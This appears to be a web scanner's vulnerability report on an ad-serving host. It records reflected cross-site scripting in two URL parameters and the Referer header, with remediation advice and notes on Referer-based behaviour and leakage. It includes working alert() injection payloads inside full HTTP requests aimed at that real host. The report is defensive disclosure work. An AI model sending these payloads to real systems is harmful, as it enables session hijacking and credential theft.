Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the ad_size request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 70e63'-alert(1)-'8c31844dad4 was submitted in the ad_size parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=160x60070e63'-alert(1)-'8c31844dad4§ion=1101690 HTTP/1.1 Host: adserving.cpxinteractive.com Proxy-Connection: keep-alive Referer: http://www.linxdown.com/ad/ad160x600.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Mon, 18-Apr-2011 20:39:41 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, 17 Apr 2011 20:39:41 GMT Content-Length: 696
The value of the ad_size request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e39f0"><script>alert(1)</script>07db89433ec was submitted in the ad_size parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /st?ad_type=iframe&ad_size=160x600e39f0"><script>alert(1)</script>07db89433ec§ion=1101690 HTTP/1.1 Host: adserving.cpxinteractive.com Proxy-Connection: keep-alive Referer: http://www.linxdown.com/ad/ad160x600.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Mon, 18-Apr-2011 20:39:37 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, 17 Apr 2011 20:39:37 GMT Content-Length: 766
The value of the section request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35433"><script>alert(1)</script>013bde76f03 was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /st?ad_type=iframe&ad_size=160x600§ion=110169035433"><script>alert(1)</script>013bde76f03 HTTP/1.1 Host: adserving.cpxinteractive.com Proxy-Connection: keep-alive Referer: http://www.linxdown.com/ad/ad160x600.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Mon, 18-Apr-2011 20:39:57 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, 17 Apr 2011 20:39:57 GMT Content-Length: 766
The value of the section request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8910f'-alert(1)-'50be92316de was submitted in the section parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=160x600§ion=11016908910f'-alert(1)-'50be92316de HTTP/1.1 Host: adserving.cpxinteractive.com Proxy-Connection: keep-alive Referer: http://www.linxdown.com/ad/ad160x600.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Mon, 18-Apr-2011 20:40:01 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, 17 Apr 2011 20:40:01 GMT Content-Length: 696
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2a6de'-alert(1)-'ca8a29e5bc4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=160x600§ion=1101690 HTTP/1.1 Host: adserving.cpxinteractive.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=2a6de'-alert(1)-'ca8a29e5bc4 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Mon, 18-Apr-2011 20:41:20 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, 17 Apr 2011 20:41:20 GMT Content-Length: 604
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
Request 1
GET /st?ad_type=iframe&ad_size=160x600§ion=1101690 HTTP/1.1 Host: adserving.cpxinteractive.com Proxy-Connection: keep-alive Referer: http://www.linxdown.com/ad/ad160x600.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Mon, 18-Apr-2011 20:38:51 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, 17 Apr 2011 20:38:51 GMT Content-Length: 576
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /st?ad_type=iframe&ad_size=160x600§ion=1101690 HTTP/1.1 Host: adserving.cpxinteractive.com Proxy-Connection: keep-alive Referer: http://www.linxdown.com/ad/ad160x600.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Mon, 18-Apr-2011 20:38:51 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Sun, 17 Apr 2011 20:38:51 GMT Content-Length: 576